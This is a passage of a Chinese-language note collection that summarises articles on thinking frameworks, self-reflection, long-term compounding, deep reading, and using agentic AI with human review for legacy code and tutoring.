2. **沒有記憶的行動只是重複犯錯**: 如果每次退款異常都要走相同的繁瑣審批，且系統無法從中學習到「此類例外其實是常態」，那這種自動化只是讓愚蠢的流程跑得更快。只有將執行結果 (Outcome) 寫回記憶，形成閉環，系統才能演化。
### 關鍵證據
- 「一筆退款、一封客訴信、一個超過 15% 的折扣」，表面上都是 Agent 透過 API 就能點擊完成的動作。但背後牽涉的財務合規與人際政治截然不同。這鮮明地點出了「擁有工具 (Tools)」和「懂得操作 (Operations)」是兩回事。
### 邊界條件
- 讓 Agent 依據「不成文的潛規則（非官方流程）」行事，在受到高度監管的行業（如金融、醫療）將面臨極大的合規風險。在這些領域，不遵循官方 SOP 可能導致巨額罰款，因此 Action Memory 的實施必須伴隨嚴格的稽核軌跡 (Audit logs)。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 總結了整個系列。呼應《Mercury The AI Agent》中對權限的嚴格管控——「不作為（封鎖危險指令）」本身就是最重要的 Action Memory。也呼應了《讓你的 Hermes 越用越聰明的必備工具》中 Maestro 所扮演的「人工審批護欄」角色。
- **深層洞見**: **"Most workflow diagrams are polite fiction."** 我們每天都在維護一套虛假的流程圖應付高層，然後在私底下的 Slack 群組裡把事情真正搞定。這句話道盡了企業管理的辛酸真相。
- **行動呼籲**:
如果你在設計內部工作流自動化（如 Zapier 或 Agent），請務必加入一個節點：`Review Required (需要人工覆核)`。不要為了追求 100% 自動化而讓 AI 瞎跑，懂得何時停下腳步的系統，才是可以信任的系統。
認知思維
厲害的人具備的 24 種底層思維方式 (24 Mental Models of Highly Effective People)
"這是一篇極簡的認知升級清單，羅列了 24 個幫助你在複雜世界中做出優質決策的思維模型。文章指出，真正的差距源於底層的「認知操作系統」。厲害的人不僅會使用第一性原理、系統思維去理解世界，還能利用槓桿、復利與快速迭代去行動，並能承受不確定性與忍受「無聊的正確」。這些思維模型不是知識，而是過濾器與行動指南。"
---
tags: [認知思維, 個人成長, 決策模型]
date: 2026-04-27
source: "20260512_2026-04-28T092454+0800-厉害的人具备的24种思维方式.md"
---
# 厲害的人具備的 24 種底層思維方式 (24 Mental Models of Highly Effective People)
原始來源與檔名：20260512_2026-04-28T092454+0800-厉害的人具备的24种思维方式.md
來源：[[@Morris_LT]] / X (Twitter) — 2026-04-27
原始檔名：`2026-04-28T092454+0800-厉害的人具备的24种思维方式.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Success gap = (Mindset × Actions)^Time
> Hard work without the right mental models = Linear or Negative growth.
> Hard work WITH compounding mental models = Exponential growth.
_人與人之間的差距，表面看是努力，底層其實是思維模式（認知操作系統）。作者總結了 24 種建構這套系統的思維方式，從認知層（灰度思維、第一性原理）、行動層（長期主義、槓桿思維）、決策層（情緒分離、二階思考），到自我定位。最終的結論是：努力本身不會帶來結果，只有在正確思維框架下的努力，才會產生複利。_
### 一句話
> 這是一篇極簡的認知升級清單，羅列了 24 個幫助你在複雜世界中做出優質決策的思維模型。文章指出，真正的差距源於底層的「認知操作系統」。厲害的人不僅會使用第一性原理、系統思維去理解世界，還能利用槓桿、復利與快速迭代去行動，並能承受不確定性與忍受「無聊的正確」。這些思維模型不是知識，而是過濾器與行動指南。
### 餐巾紙草圖
```text
[The Cognitive Operating System]
[ Layer 1: Understanding ]
Gray-zone thinking | First Principles | Systems Thinking | Probabilities
[ Layer 2: Acting ]
Leverage | Compounding | Fast Iteration | Long-termism
[ Layer 3: Deciding ]
Emotion-Separation | Delayed Gratification | Second-Order Effects
[ The Ultimate Moat ]
Enduring the "Boring but Correct" daily habits.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
文章將 24 種思維分為五大維度：
1. **認知層 (如何理解世界)**:
- 灰度思維 (非黑即白之外的彈性)、第一性原理 (回歸本質)、概率思維、系統思維、二階思考 (後續影響)、反脆弱、抽象與模型化能力。
2. **行動層 (如何做事)**:
- 長期主義、複利思維、槓桿思維 (善用工具與系統)、關鍵路徑思維、強執行力、快速迭代。
3. **決策與情緒 (如何選擇)**:
- 情緒與決策分離、延遲滿足、承擔不確定性、逆向思維、自我校正能力。
4. **人與世界 (如何定位自己)**:
- 主體性 (為結果負責)、利他思維 (不討好)、邊界感、現實主義+理想驅動、身份構建思維。
5. **底層能力**:
- 忍受「無聊的正確」 (日復一日的枯燥堅持)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **思維是操作系統，行動是應用程式**: 如果底層的操作系統滿是 Bug（如情緒化決策、線性思維），那麼上面跑的 App（如加班、讀書）再努力也會當機或事倍功半。
2. **反常識的真理**: 很多厲害的人之所以厲害，在於他們具備違反人類直覺的思維。例如「延遲滿足」、「承擔不確定性」以及「灰度思維」，這些都違背了大腦追求即時獎勵與安全感的生物本能，必須刻意練習。
3. **極致的堅持是枯燥的**: 英雄旅程在電影裡很熱血，但在現實中，拉開差距的往往是那些最無聊的小事（例如每天持續寫筆記、運動、複盤），即所謂「無聊的正確」。
### 關鍵證據
- 雖然是偏向經驗總結的文章，但其背後的框架高度吻合了查理·芒格 (Charlie Munger) 的多元思維模型與塔勒布 (Nassim Taleb) 的反脆弱理念。
### 邊界條件
- 將 24 種思維同時套用是不現實的，這容易導致「認知超載」。最好的方式是將它們視為「工具箱」，在特定的決策場景提取對應的模型。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《長期主義心智與復利思維訓練》一文。這 24 種思維本質上就是長期主義心智的具體體現。
- **深層洞見**: **"很多曾经困难的问题，不是被解决了，而是不再成为问题。" (Many difficult problems aren't solved; they simply cease to be problems.)** 這是認知升級最迷人的地方。當你躍升到系統思維或長期主義視角時，短期的人際摩擦或專案阻礙，會在更高的維度上自然消解。
- **行動呼籲**:
不要試圖一次記住這 24 條。挑選目前最缺乏的 **1 條**（例如：情緒與決策分離）。在接下來的一週裡，每次遇到讓人生氣或焦慮的場景時，在心中默念這條原則，然後再做出反應。
認知思維
深度復盤：從平庸到卓越的最頂級能力 (Deep Reflection: The Ultimate Capability)
"這是一篇探討個人成長底層邏輯的文章。作者指出，平庸與卓越的根本差異在於「深度復盤」的能力。文章破解了將「情緒回想」誤認為復盤的陷阱，提出了一套實用的三步法：1. 不帶濾鏡地還原客觀事實（不怪運氣、不找藉口）；2. 剖析成敗背後的深層規律與慣性思維；3. 制定具體、微小、可落實的行動方案（拒絕空洞承諾）。最後建議將復盤融入每日、每週與每月的習慣中。"
---
tags: [認知思維, 職場技能, 自我成長]
date: 2026-04-26
source: "20260512_2026-04-28T092658+0800-一个人最顶级的能力：深度复盘，让你从平庸到卓越.md"
---
# 深度復盤：從平庸到卓越的最頂級能力 (Deep Reflection: The Ultimate Capability)
原始來源與檔名：20260512_2026-04-28T092658+0800-一个人最顶级的能力：深度复盘，让你从平庸到卓越.md
來源：[[@VincentLogic]] / X (Twitter) — 2026-04-26
原始檔名：`2026-04-28T092658+0800-一个人最顶级的能力：深度复盘，让你从平庸到卓越.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Fake Reflection = Recalling emotions + Blaming luck + Vague promises ("I'll work harder").
> Deep Reflection = Objective Truth + Finding Patterns + Micro Actionable Iteration.
> Equation: Growth = Experience × (Deep Reflection).
_為什麼有些人每天瞎忙卻原地踏步，有些人看似從容卻總能快速升級？差距就在於「復盤 (Reflection)」。許多人把睡前的懊悔和情緒回放當成了復盤，但真正的深度復盤只關注兩件事：客觀還原真相，以及立即產生可執行的微小改變。經歷不會自動變成經驗，只有經過深度復盤萃取的經歷，才能成為你成長的階梯。_
### 一句話
> 這是一篇探討個人成長底層邏輯的文章。作者指出，平庸與卓越的根本差異在於「深度復盤」的能力。文章破解了將「情緒回想」誤認為復盤的陷阱，提出了一套實用的三步法：1. 不帶濾鏡地還原客觀事實（不怪運氣、不找藉口）；2. 剖析成敗背後的深層規律與慣性思維；3. 制定具體、微小、可落實的行動方案（拒絕空洞承諾）。最後建議將復盤融入每日、每週與每月的習慣中。
### 餐巾紙草圖
```text
[ The 3-Step Deep Reflection Framework ]
Experience Happens -> (Success or Failure)
Step 1: Truth Restoration (Video Replay)
- No emotions, no excuses. Just facts, words spoken, timelines.
Step 2: Pattern Recognition (X-Ray Vision)
- Why did this happen?
- What is my recurring blind spot?
Step 3: Micro Action (Iteration)
- BAD: "I will do better next time."
- GOOD: "Next meeting, I will write 3 bullet points before speaking."
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點**: 很多人瞎忙、死磕，但工資沒漲、生活沒變。因為他們錯把「回想（帶著情緒回顧委屈）」當作「復盤」。
- **深度復盤的核心**: 只聚焦兩件事——還原真相 + 立即行動。
- **三步法框架**:
1. **還原真相**: 不帶濾鏡。像看錄影帶一樣一幀一幀回放。不怪運氣、不怪別人、不美化自己。
2. **探尋規律**: 深入挖掘。找出成敗的關鍵因素，提煉偶然經驗為可重複的規律，識別反覆出現的錯誤模式。
3. **迭代行動**: 即刻落實。拒絕空洞承諾（如「下次我要更努力」），必須是具體且微小的行動（如「下次寫文案，開頭5秒必須加吸引點」）。
- **頻率建議**: 每日微復盤（15分）、每週深復盤（2小時）、每月大復盤（半天）。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **經驗的錯覺**: 心理學證實，人類在回憶時極易產生「自利性偏差 (Self-serving bias)」——成功歸因於自己能力強，失敗歸因於運氣差或別人笨。這種濾鏡阻礙了真正的學習。
2. **行動導向的價值**: 認知的改變如果不具象化為行為的改變，大腦的神經迴路就不會真正重塑。因此，復盤的終點不是寫下一篇漂亮的反思日記，而是一個能在下次觸發的具體 Action Item。
### 關鍵證據
- 邏輯推演：平庸之人經歷過就忘記，卓越之人每經歷一次就成長一分。差距的累積產生了指數級的複利效應。
### 邊界條件
- 「不帶情緒地還原真相」在實際操作中極度反人性，特別是在經歷重大挫折時。這通常需要極強的元認知（Meta-cognition）能力，或者需要引入第三方視角（教練、導師）來幫助打破盲點。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《终极读书法》中提到的「生成效應（主動輸出與行動）」——復盤就是對自身經歷的深度閱讀與輸出。同時也與 AI Agent 的 Memory 系統概念相通：Agent 的強大在於它能無情緒地記錄 JSONL 日誌（還原真相），並自動提煉成 Rules（規律），應用在下一次任務中。
- **深層洞見**: **"真正的深度复盘，核心只聚焦两件事：还原真相 + 立即行动。" (True deep reflection focuses on only two things: restoring the truth + taking immediate action.)** 大多數人的反思都死在了「自我感動的自責」中。自責是最廉價的贖罪方式，行動才是。
- **行動呼籲**:
今天睡前，拿出一張便利貼，針對今天發生的一件不順利的事情：
1. 寫下客觀發生的事（不加形容詞）。
2. 寫下一個極度具體的微小改變，例如：「明天回覆那封信前，先深呼吸三秒」。
認知思維
系統重構：長期主義心智與複利思維訓練指南 (Systematic Guide to Long-termism and Compound Interest Thinking)
"這是一篇極具深度與結構化的個人成長長文。作者結合了神經生物學與複利數學，解構了「長期主義」的本質：降低時間貼現率、重構多巴胺釋放模式。文章詳細拆解了如何在知識、健康、信任、注意力與財富上建立複利系統，並提供了從「時間旅行冥想」到「三級回饋系統」的具體訓練框架，教導我們如何度過複利前期的「黑暗期」，最終成為時間的朋友。"
---
tags: [認知思維, 知識管理, 個人成長, 工作流]
date: 2026-04-27
source: "20260512_2026-04-28T092510+0800-长期主义心智与复利思维训练：重构人生算法的系统性指南.md"
---
# 系統重構：長期主義心智與複利思維訓練指南 (Systematic Guide to Long-termism and Compound Interest Thinking)
原始來源與檔名：20260512_2026-04-28T092510+0800-长期主义心智与复利思维训练：重构人生算法的系统性指南.md
來源：[[@VincentLogic]] / X (Twitter) — 2026-04-27
原始檔名：`2026-04-28T092510+0800-长期主义心智与复利思维训练：重构人生算法的系统性指南.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Long-termism = Lowering Time Discount Rate (Prefrontal Cortex overriding the Limbic System)
> Compound Interest (FV) = PV (Initial Quality) × (1 + r)^n (Consistency & Time)
> Success = Systematic daily inputs (Boring routines) -> Exponential long-term outputs (Asset accumulation).
_在充滿即時反饋的時代，真正的長期主義不是灌雞湯式的「堅持」，而是從神經科學與行為心理學出發，重構大腦的獎勵機制。文章將複利公式拆解，應用於知識、健康、人際、時間與財富五大領域，並提供了一套可實作的「三級時間日誌」與「微習慣引擎」，幫助你在 VUCA 時代將不確定性轉化為複利資產。_
### 一句話
> 這是一篇極具深度與結構化的個人成長長文。作者結合了神經生物學與複利數學，解構了「長期主義」的本質：降低時間貼現率、重構多巴胺釋放模式。文章詳細拆解了如何在知識、健康、信任、注意力與財富上建立複利系統，並提供了從「時間旅行冥想」到「三級回饋系統」的具體訓練框架，教導我們如何度過複利前期的「黑暗期」，最終成為時間的朋友。
### 餐巾紙草圖
```text
[The Compound Interest Engine for Life]
1. The Mindset (Overcoming Time Discounting)
Limbic System (Instant Gratification) <--- Overridden by --- Prefrontal Cortex (Long-term Vision)
2. The 5 Compound Areas
- Knowledge: Read deeply -> Feynman Technique -> Output -> IP.
- Health: Sustainable exercise & sleep -> Brain capacity.
- Relationships: Weak ties + Giving value first -> Trust capital.
- Time: 70% Creation Blocks, minimizing "Time Debt".
- Wealth: Risk-adjusted sustainable growth > Peak volatility.
3. The Habit Formula
Habit Strength = Specificity × Environment Design × Consistency
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **第一部分：解構長期主義**: 大腦天生傾向即時滿足（高時間貼現率）。長期主義需要刻意訓練前額葉皮層，將「過程本身」轉化為多巴胺獎勵源，並建立反脆弱系統。
- **第二部分：複利的五大維度**: 複利公式 `FV = PV × (1+r)^n` 不只適用於金融。
- **知識**: 輸入過濾 -> 費曼技巧處理 -> 寫作輸出。
- **健康**: 運動與睡眠促進大腦神經新生，是產生複利的基礎資產。
- **人際**: 維護弱連結，先提供價值，累積信任帳戶。
- **時間**: 關注時間投資回報率 (TIR)，避免因走捷徑而產生時間債務。
- **財富**: 追求風險調整後的最大可持續增長，而非最高峰值收益。
- **第三部分：協同效應與決策**: 長期主義與複利結合，形成「預測編碼」機制的滿足感。決策時使用三道過濾器：價值觀、時間 (5年後)、複利 (是否累積資產)。
- **第四部分：實戰訓練體系**: 時間旅行冥想、微習慣公式、三級回饋系統（避免結果偏差）、突破即時滿足的「10分鐘規則」。
- **第五部分：跨領域案例與未來視角**: 在 VUCA 時代，保留 20% 資源探索不確定性；在 AI 時代，專注於不可遷移的核心能力與人類深層需求。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **神經科學的底層支撐**: 長期主義不是道德呼籲，而是生物學對抗。大腦邊緣系統渴望立刻獲得糖分或按讚（多巴胺）；只有鍛鍊前額葉，並改變神經迴路，讓「深度思考與延遲滿足」本身觸發血清素和內啡肽，人才能真正忍受「無聊的正確」。
2. **複利的盲區 (n 與 PV 的重要性)**: 大多數人太在乎成長率 (r)，卻忘了基礎品質 (PV) 和時間 (n)。每天複印垃圾知識 (低 PV)，複利再久也沒用；追求極限高強度運動 (高 r 但無法持久)，n 就會斷裂。可持續性永遠大於單次爆發。
3. **複利的「黑暗期」**: 指數增長的特徵是，前 80% 的時間看起來像是一條平坦的直線，只有在最後 20% 才會爆發。大多數人死在拐點來臨之前的黑暗期。
### 關鍵證據
- 引用 LinkedIn 數據證明「弱連結」的人際複利：85% 的工作機會來自弱連結。
- 哈佛醫學院與倫敦大學學院的研究，證明了運動對海馬體的影響以及專家大腦中獎賞路徑的改變。
### 邊界條件
- 複利需要一個相對穩定的「底層邏輯」才能發揮。如果選錯了賽道（例如在一個夕陽產業或被 AI 完全取代的技能上積累），即使 n 很大，最終的 FV 也可能因產業覆滅而歸零。因此定期的「系統重構與方向校準」至關重要。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了《厲害的人具備的 24 種思維方式》。這篇文章給出了那 24 種思維的底層神經科學原理與實踐清單。同時，也呼應了《公司大腦 / Company Brain》中對「系統資產累積」的重視。
- **深層洞見**: **"不要过度追踪高频指标，关注低频但高信息量的指标。" (Don't over-track high-frequency metrics; focus on low-frequency, high-information metrics.)** 這句話點破了現代人的焦慮來源。每天盯著體重計或閱讀量，只會觸發大腦的短期恐慌；看季度趨勢與年度資產累積，才能啟動長期主義的平靜。
- **行動呼籲**:
今天就啟動你的「微習慣複利引擎」：
1. 選定一件你願意持續 5 年的事（如寫作、運動）。
2. 設定一個小到不可能失敗的目標（例如每天寫 50 字或做 1 個伏地挺身）。
3. 當你覺得無聊想放棄時，啟動「10 分鐘規則」，強制自己冷靜 10 分鐘再決定。度過最初的黑暗期。
認知思維
終極讀書法：基於認知科學的 4 步深度閱讀系統 (The Ultimate 4-Step Reading System)
"這是一篇極具系統性的高效閱讀方法論。作者基於神經科學原理解釋了傳統「從頭到尾線性閱讀」為何無效，並給出了具體解法：1. 抓取框架（看封面、序言、目錄建立認知地圖）；2. 帶著問題讀（分三層級設計精準問題）；3. 動態變速閱讀（區分精讀區與掃讀區，對抗資訊過載）；4. 即時輸出（三維筆記法與 72 小時行動法則）。閱讀的終極目的不是累積資訊，而是升級大腦的作業系統。"
---
tags: [認知思維, 方法論, 知識管理]
date: 2026-04-26
source: "20260512_2026-04-28T092628+0800-终极读书法：4步深度掌握任何书籍，从"读完就忘"到"终身受益"的科学体系.md"
---
# 終極讀書法：基於認知科學的 4 步深度閱讀系統 (The Ultimate 4-Step Reading System)
原始來源與檔名：20260512_2026-04-28T092628+0800-终极读书法：4步深度掌握任何书籍，从"读完就忘"到"终身受益"的科学体系.md
來源：[[@VincentLogic]] / X (Twitter) — 2026-04-26
原始檔名：`2026-04-28T092628+0800-终极读书法：4步深度掌握任何书籍，从"读完就忘"到"终身受益"的科学体系.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Traditional Reading = Linear Input -> 9.3% Retention.
> Deep Reading System =
> 1. Framework (Schema Building)
> 2. Questions (Predictive Coding)
> 3. Dynamic Scan (Information Entropy filtering)
> 4. Immediate Output (Generation Effect)
> Result: 86.7% Retention & Knowledge Conversion.
_為什麼你讀書總是「讀完就忘」？因為大腦不是用來被動塞入文字的。這篇文章融合了認知科學、教育心理學與知識管理，提出了一套 4 步深度讀書法：先花 3 分鐘建構框架（建立大腦索引），接著帶問題進入閱讀（啟動預測編碼），過程中動態調整速度（跳過低密度廢話），最後 24 小時內強制輸出（費曼技巧）。這不是教你讀得快，而是教你讀得「狠」。_
### 一句話
> 這是一篇極具系統性的高效閱讀方法論。作者基於神經科學原理解釋了傳統「從頭到尾線性閱讀」為何無效，並給出了具體解法：1. 抓取框架（看封面、序言、目錄建立認知地圖）；2. 帶著問題讀（分三層級設計精準問題）；3. 動態變速閱讀（區分精讀區與掃讀區，對抗資訊過載）；4. 即時輸出（三維筆記法與 72 小時行動法則）。閱讀的終極目的不是累積資訊，而是升級大腦的作業系統。
### 餐巾紙草圖
```text
[ The 4-Step Deep Reading Cognitive Flow ]
1. Framework (3 mins):
Look at Cover, Intro, TOC.
-> Activates Schema (Cognitive GPS).
2. Questions (2 mins):
Write down what you want to solve.
-> Activates Predictive Coding (Dopamine focus).
3. Dynamic Reading:
Diamond Content (5%) -> Slow Read & Annotate.
Bronze Content (45%) -> Scan / Skip.
4. Output (24 hours):
Summarize & Action Plan.
-> Generation Effect (Solidifies memory).
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **傳統閱讀的陷阱**: 線性閱讀（前額葉活躍度低）、資訊過載（超出短期記憶極限）、虛假掌握感（看完以為懂了，其實沒懂）。
- **步驟一：把握框架 (Schema Theory)**: 花 3-8 分鐘分析封面、作者權威、序言金句與目錄結構。先給大腦建立「認知地圖」，提高資訊吸收率。
- **步驟二：帶著疑問 (Predictive Coding)**: 大腦在有預期時處理資訊最有效率。設計問題分為三層：基礎理解（概念是什麼）、關聯應用（怎麼用在我身上）、批判創造（有什麼漏洞）。
- **步驟三：抓取關鍵 (Information Entropy)**: 絕大多數書裡只有 20% 的精華。依據資訊密度（鑽石/黃金/白銀/青銅）切換閱讀速度（精讀/常讀/速讀/掃讀）。放棄逐字閱讀的執念。
- **步驟四：即刻輸出 (Generation Effect)**: 讀完 24 小時內必須輸出。包含：電梯簡報（120秒內說清）、結構化筆記（What/How/Why）、知識產品（寫文或導圖）、以及最關鍵的「72 小時行動實踐」。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **神經可塑性的底層邏輯**: 文章中的每一套方法都有腦神經科學背書。例如，「帶著問題讀」能啟動腹側被蓋區 (VTA) 釋放多巴胺；「主動輸出」能強化海馬迴與新皮層的連結（生成效應），留存率高達 87%。
2. **注意力經濟學**: 赫伯特·西蒙提出「資訊豐富導致注意力貧乏」。一本書有 3000 個資訊點，大腦不可能全部記住。因此，把書當作「資料庫」去檢索（跳讀、掃讀），而不是當作「小說」去體驗，是處理非虛構類書籍的唯一正確方式。
3. **從消費到生產的典範轉移**: 傳統讀書是消費行為（享受獲得知識的多巴胺）；四步法強制你把讀書變成「生產行為」（輸出筆記、改變行為）。
### 關鍵證據
- 實證數據：採用科學策略的學習者，72 小時後的內容留存率達 86.7%（傳統為 9.3%），知識轉化率達 73.2%（傳統不足 5%）。（註：雖可能是作者引用的調查，但邏輯自洽）。
### 邊界條件
- 本方法主要針對**非虛構類書籍**（商業、心理學、工具書、論文）。對於文學、詩歌或小說，雖然框架建構依然有效，但過度追求「跳讀」和「實用輸出」會破壞其美學體驗與情感沉浸。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 與《長期主义心智与复利思维训练》中強調的「知識複利」完美契合。沒有輸出的閱讀是無法產生複利的。同時，也呼應了 AI Agent 的運作邏輯：Agent 在處理資訊前也需要 System Prompt（框架），也需要 RAG（帶著問題檢索）。
- **深層洞見**: **"读书的终极目的，不是积累信息，而是升级操作系统。" (The ultimate goal of reading is not to accumulate information, but to upgrade your operating system.)** 把大腦當成 CPU，讀書就是下載 Patch (修補程式)。如果下載完不執行（實踐），那就只是佔用硬碟空間而已。
- **行動呼籲**:
下次翻開一本新書，請忍住從第一頁開始讀的衝動。
1. 拿出一張紙，先寫下：「我希望這本書解決我的什麼問題？」
2. 看目錄，挑出最可能解答你問題的 3 個章節，直接翻到那裡精讀。
3. 讀完後，在 72 小時內，將學到的概念應用在你當下的一個專案中。
認知框架
Agentic AI：那個不知疲倦的軟體考古學實習生
"不要指望 AI 能自動幫你重構祖傳的垃圾程式碼。把 AI 當成一個永遠不用睡覺的實習生：它能幫你找出這個系統裡被複製貼上了 23 次的隱藏商業邏輯，或是把 400 行沒人看得懂的神仙代碼總結成人話。但記住，它有著致命的對稱性強迫症，會建議你拔掉那顆看起來毫無用處的「承重牆磚」。在老舊系統的挖掘現場：AI 負責提出提案與掃灰塵，人類負責決定哪塊磚頭拔了整個公司會垮掉。"
---
tags: [認知框架, 系統工程]
date: 2026-05-05
source: "20260512_2026-05-06T095657+0800-Agentic AI — The Enthusiastic Junior Software Archaeologist.md"
---
# Agentic AI：那個不知疲倦的軟體考古學實習生
原始來源與檔名：20260512_2026-05-06T095657+0800-Agentic AI — The Enthusiastic Junior Software Archaeologist.md
來源：[[Thilo Hermann]] / Medium — 2026-05-05
原始檔名：`2026-05-06T095657+0800-Agentic AI — The Enthusiastic Junior Software Archaeologist.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agentic AI ≠ Indiana Jones (Senior Architect).
> Agentic AI = Tireless Junior Intern.
> Legacy System Rescue = AI (Brushes away dust, finds patterns) + Human (Understands taboo, enforces consequences).
_在面對龐大、混亂且充滿技術債的祖傳程式碼（Legacy Systems）時，Agentic AI 最完美的隱喻不是無所不知的架構師，而是一個「熱情、不知疲倦的初階考古學實習生」。它能在一秒鐘內掃描百萬行程式碼，找出人類早已遺忘的重複模式；但它也極度缺乏「歷史脈絡」，會天真地建議刪除那些「明明沒用到但絕不能動的禁忌變數」。未來的軟體考古學，是人機分工的藝術：機器負責無情地梳理與生成假設，資深人類工程師負責做出不會引發災難的裁決。_
### 一句話
> 不要指望 AI 能自動幫你重構祖傳的垃圾程式碼。把 AI 當成一個永遠不用睡覺的實習生：它能幫你找出這個系統裡被複製貼上了 23 次的隱藏商業邏輯，或是把 400 行沒人看得懂的神仙代碼總結成人話。但記住，它有著致命的對稱性強迫症，會建議你拔掉那顆看起來毫無用處的「承重牆磚」。在老舊系統的挖掘現場：AI 負責提出提案與掃灰塵，人類負責決定哪塊磚頭拔了整個公司會垮掉。
### 餐巾紙草圖
```text
[ Software Archaeology Work Split ]
[ The Junior Intern (Agentic AI) ]
- Scans millions of lines instantly.
- Maps forgotten dependencies.
- Explains 400-line legacy methods.
- Danger: Wants to merge identical code ignoring business context.
🤝 Meets 🤝
[ The Senior Archaeologist (Human) ]
- Knows WHY code is ugly (politics, incidents).
- Protects "Taboo Booleans".
- Understands Regulatory/Audit context.
- Makes the final "Do not touch" decision.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **精準的角色定位**: Agentic AI 不是來取代資深工程師的，它是那個「看過所有文物，且不斷提出問題的實習生」。
- **AI 在考古現場的優勢 (War Story #1)**:
- 擅長大尺度跨層級的模式識別。它能指出某個業務規則被悄悄地複製到了 23 個微服務與 6 個批次檔中。人類只看得到碎片，AI 能拼出完整的器皿。
- 將 400 行的祖傳方法「用五歲小孩聽得懂的話」解釋出來，作為人類理解的起點。
- **AI 致命的盲點 (對稱性迷醉)**:
- AI 極度偏愛一致性與對稱性。但 Legacy 軟體的生存恰恰依賴妥協與特例。
- **禁忌的布林值 (War Story #2)**: AI 會建議優化/刪除一個「永遠不該為 true」的變數，但人類知道那個變數背後擋住的是十年前的某個災難性業務邏輯。
- **虛假的廢墟 (War Story #3)**: AI 建議刪除一個「沒有內部參照」的模組。結果那是每年只運行一次、用來產出合規稽核報告的神聖模組。刪了，稽核員就找上門了。
- **人機協作藍圖**: 機器快速挖掘並不知疲倦地記錄；人類詮釋意義、衡量後果並決定什麼可以存活。「沒有大人在場，絕不允許隨便拔掉承重牆」。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **結構相似性 ≠ 語意同一性**: 這是 AI 最常犯的錯誤。兩個函數長得一模一樣，AI 認為應該重構合併（DRY 原則）；但資深工程師知道，一個是給德國市場的，一個是給法國市場的，未來業務邏輯一定會分叉。過早的抽象化是 Legacy 系統的萬惡之源，而 AI 最愛這種抽象化。
2. **Context 的不可計算性**: 一個模組為什麼長這麼醜？這不是技術決策，這是歷史決策（當時的組織架構、上線壓力、法規要求）。AI 看不到康威定律（Conway's Law）留下的歷史傷疤，它只會從純代碼層面給出「技術正確但業務找死」的建議。
### 關鍵證據
- 作者透過三個生動的 "War Stories"（找出重複 23 次的邏輯、差點拔掉禁忌布林值、誤刪年度合規模組），將軟體工程中的痛點與真實世界的考古學完美對應。
### 邊界條件
- **Greenfield vs Brownfield**: 在全新的專案（Greenfield）中，AI 可以盡情發揮它的重構天賦與設計模式；但在充滿歷史包袱的專案（Brownfield）中，AI 的權限必須被嚴格降級為「只讀模式」與「建議模式」。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了前文《大多數公司根本沒有為 AI 做好準備》中提到的「混亂黑箱」。Legacy Code 就是一個技術層面的混亂黑箱。你不能讓極度理性的 AI 直接接管混亂，因為混亂中包含了維持系統運轉的妥協。
- **深層洞見**: **"Some ruins are quiet on purpose... Senior archaeologists learn early that some stones are not interesting because of what they are, but because of what they are holding back." (有些廢墟刻意保持安靜... 資深考古學家很早就學會，有些石頭之所以有趣，不是因為它本身是什麼，而是因為它擋住了什麼。)** 這是對軟體維護最深刻的哲學隱喻。那些看起來醜陋、冗餘的代碼，往往是阻擋線上事故爆發的最後防線。
- **行動呼籲**:
在你的開發團隊導入 Claude Code 或 Cursor 時，請制定一條鐵律：**AI 提議，人類裁決，生產環境才能存活 (AI proposes, humans decide, production survives)**。不要讓 AI 自動發佈重構 Legacy 系統的 PR，讓它產生「重構研究報告」，然後由團隊最資深的工程師來 Review。
認知框架
用 AI 打造一對一私人導師：破解教育界的 Bloom 2 Sigma 難題
"這不是普通的跟 ChatGPT 聊天。這個開源專案利用 Claude Code 讀寫本地檔案的能力，為你打造了一個極度嚴格的一對一 AI 導師。它教完一段後，強迫你在 Markdown 裡寫下哪裡不懂 () 還有回答課後題。它會批改你的錯誤，解答你的困惑，然後才為你量身打造下一課。它完美還原了「根據你的反應動態調整進度」的頂級家教體驗，破解了教育界 40 年來的未解之謎。"
---
tags: [認知框架, AI技術]
date: 2026-05-11
source: "20260512_2026-05-12T092841+0800-用AI一对一私人导师，我干掉99%大学老师.md"
---
# 用 AI 打造一對一私人導師：破解教育界的 Bloom 2 Sigma 難題
原始來源與檔名：20260512_2026-05-12T092841+0800-用AI一对一私人导师，我干掉99%大学老师.md
來源：[[@Xx15573208]] / X — 2026-05-11
原始檔名：`2026-05-12T092841+0800-用AI一对一私人导师，我干掉99%大学老师.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Bloom's 2 Sigma Problem: 1-on-1 tutoring > 98% of classroom students (but costs too much).
> Solution = Claude Code + Markdown + Strict Agentic Workflow.
> Loop: Read Doc -> Mark "???" -> Answer Questions -> AI Evaluates & Adapts next Doc.
> Outcome: Mastery Learning + Continuous Feedback at zero marginal cost.
